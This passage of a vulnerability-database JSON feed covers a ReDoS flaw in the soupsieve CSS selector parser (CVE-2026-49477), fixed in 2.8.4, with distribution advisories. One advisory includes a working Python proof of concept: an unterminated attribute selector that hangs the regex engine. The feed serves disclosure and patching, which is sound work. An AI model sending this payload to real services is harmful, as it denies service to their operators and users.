a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.(CVE-2026-49477)","status":"published","published":"2026-09-14T16:34:05Z","modified":"2026-09-13T16:45:32.430307054Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:47.217107Z"},{"id":"PYSEC-2026-3072","title":"Soup Sieve: Regular Expression Denial of Service (ReDoS) via Selector Parser","description":"### Summary\n\nThe CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack.\n\nTo be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated.\n\nAny application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected.\n\n### Details\n\n**Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern\n\nThe soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`\"value\"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for:\n\n1. Double-quoted strings: `\"[^\"\\\\]*(?:\\\\.[^\"\\\\]*)*\"`\n2. Single-quoted strings: `'[^'\\\\]*(?:\\\\.[^'\\\\]*)*'`\n3. Unquoted identifiers\n\nWhen an attribute selector contains an **unterminated quoted value** - e.g., `[a=\"xxxx...` (opening `\"` but no closing `\"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string.\n\n**Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input.\n\n**Key characteristics:**\n- **Input size:** Only 300 bytes are needed to trigger a \u003e3 second hang\n- **Amplification:** Each additional character approximately doubles the backtracking time\n- **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound)\n\n### Proof of Concept\n\n```python\nimport time\nimport soupsieve as sv\n\nPAYLOAD_LEN = 300\n\n# Control: well-formed selector with terminated quote (completes instantly)\nwell_formed = '[a=\"' + ('x' * PAYLOAD_LEN) + '\"]'\nstart = time.perf_counter()\ntry:\n    sv.compile(well_formed)\nexcept Exception:\n    pass\ncontrol_time = time.perf_counter() - start\nprint(f\"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s\")\n\n# Exploit: unterminated quote triggers catastrophic regex backtracking\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\nstart = time.perf_counter()\ntry:\n    sv.compile(malformed)  # WARNING: This will hang for \u003e3 seconds\nexcept Exception:\n    pass\nexploit_time = time.perf_counter() - start\nprint(f\"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s\")\n\nslowdown = exploit_time / max(control_time, 1e-9)\nprint(f\"Slowdown: {slowdown:.0f}x\")\n\n# Expected output:\n# Well-formed selector (306 bytes): ~0.001s\n# Malformed selector (304 bytes): \u003e3.0s (may need to be killed)\n# Slowdown: \u003e3000x\n#\n# NOTE: On some systems the malformed selector may hang indefinitely.\n# Use a timeout mechanism (signal.alarm, threading.Timer) when testing.\n```\n\n**Safe testing variant with timeout:**\n\n```python\nimport signal\nimport soupsieve as sv\n\ndef timeout_handler(signum, frame):\n    raise TimeoutError(\"ReDoS confirmed: regex backtracking exceeded timeout\")\n\nPAYLOAD_LEN = 300\nmalformed = '[a=\"' + ('x' * PAYLOAD_LEN)\n\nsignal.signal(signal.SIGALRM, timeout_handler)\nsignal.alarm(3)  # 3-second timeout\n\ntry:\n    sv.compile(malformed)\n    print(\"Selector compiled (not vulnerable)\")\nexcept TimeoutError as e:\n    print(f\"VULNERABLE: {e}\")\nexcept Exception as e:\n    print(f\"Other error: {e}\")\nfinally:\n    signal.alarm(0)  # Cancel the alarm\n```\n\n### Impact\n\n**Severity: High**\n\nAn attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because:\n\n1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits\n2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a=\"xxx...`)\n3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable\n4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals)\n\n| Parameter | Value |\n|---|---|\n| Input size | 300 bytes |\n| CPU time consumed | \u003e3 seconds (exponential with payload length) |\n| Memory consumed | Negligible (CPU-only attack) |\n| Authentication required | None |\n| User interaction required | None |\n\n**Deployment impact:** In threaded or async web applications, a single malicious request blocks a worker thread for the duration of the backtracking. An attacker can submit multiple concurrent requests to exhaust all available workers, causing complete service denial. The small payload size makes the attack easy to deliver and difficult to detect via request size limits.\n\n**Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application, API, or service that accepts CSS selectors from users is potentially affected.\n\n---\n\n### Credit\n\nThe vulnerability was discovered by a security research team from the University of Sydney, whose focus is detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/","status":"published","published":"2026-07-13T15:46:30.094646Z","modified":"2026-07-13T16:31:33.705856864Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:56.429374Z"},{"id":"RHSA-2026:23992","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"withdrawn","published":"2026-07-13T10:05:10Z","modified":"2026-08-09T14:00:16.766021157Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:18.983284Z"},{"id":"RHSA-2026:34119","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-07-10T10:09:38Z","modified":"2026-10-16T10:15:54Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:19.963895Z"},{"id":"UBUNTU-CVE-2026-49477","description":"Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.","status":"published","published":"2026-07-14T21:17:00Z","modified":"2026-10-17T12:58:57.270171744Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:33.391918Z"},{"id":"openSUSE-SU-2026:21342-1","title":"Security update for python-soupsieve","description":"This update for python-soupsieve fixes the following issues\n\n- CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).\n- CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).\n","status":"published","published":"2026-07-14T10:43:25Z","modified":"2026-07-15T10:00:12.752231685Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"ROOT-APP-PYPI-CVE-2026-49477","title":"CVE-2026-49477 in rootio-soupsieve - Patched by Root","description":"Root has patched CVE-2026-49477 in the rootio-soupsieve package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-07-20T08:35:33Z","modified":"2026-07-20T13:15:04.613720362Z","updated_at":"2026-11-02T15:53:28.259095Z"},{"id":"SUSE-SU-2026:22660-1","title":"Security update for python-soupsieve","description":"This update for python-soupsieve fixes the following issues\n\n- CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).\n- CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).\n","status":"published","published":"2026-07-14T10:40:31Z","modified":"2026-07-17T18:24:06.575854154Z","updated_at":"2026-11-02T15:54:03.080707Z"},{"id":"SUSE-SU-2026:3239-1","title":"Security update for python-soupsieve","description":"This update for python-soupsieve fixes the following issues\n\n- CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).\n- CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).\n","status":"published","published":"2026-07-24T13:04:51Z","modified":"2026-07-28T18:24:17.283822428Z","updated_at":"2026-11-02T15:54:04.987808Z"},{"id":"SUSE-SU-2026:3240-1","title":"Security update for python-soupsieve","description":"This update for python-soupsieve fixes the following issues\n\n- CVE-2026-49476: Memory Exhaustion via Large Comma-Separated Selector Lists (bsc#1271187).\n- CVE-2026-49477: Regular Expression Denial of Service (ReDoS) via Selector Parser (bsc#1271188).\n","status":"published","published":"2026-07-24T13:05:19Z","modified":"2026-07-28T18:24:15.311705768Z","updated_at":"2026-11-02T15:54:04.987808Z"}]}}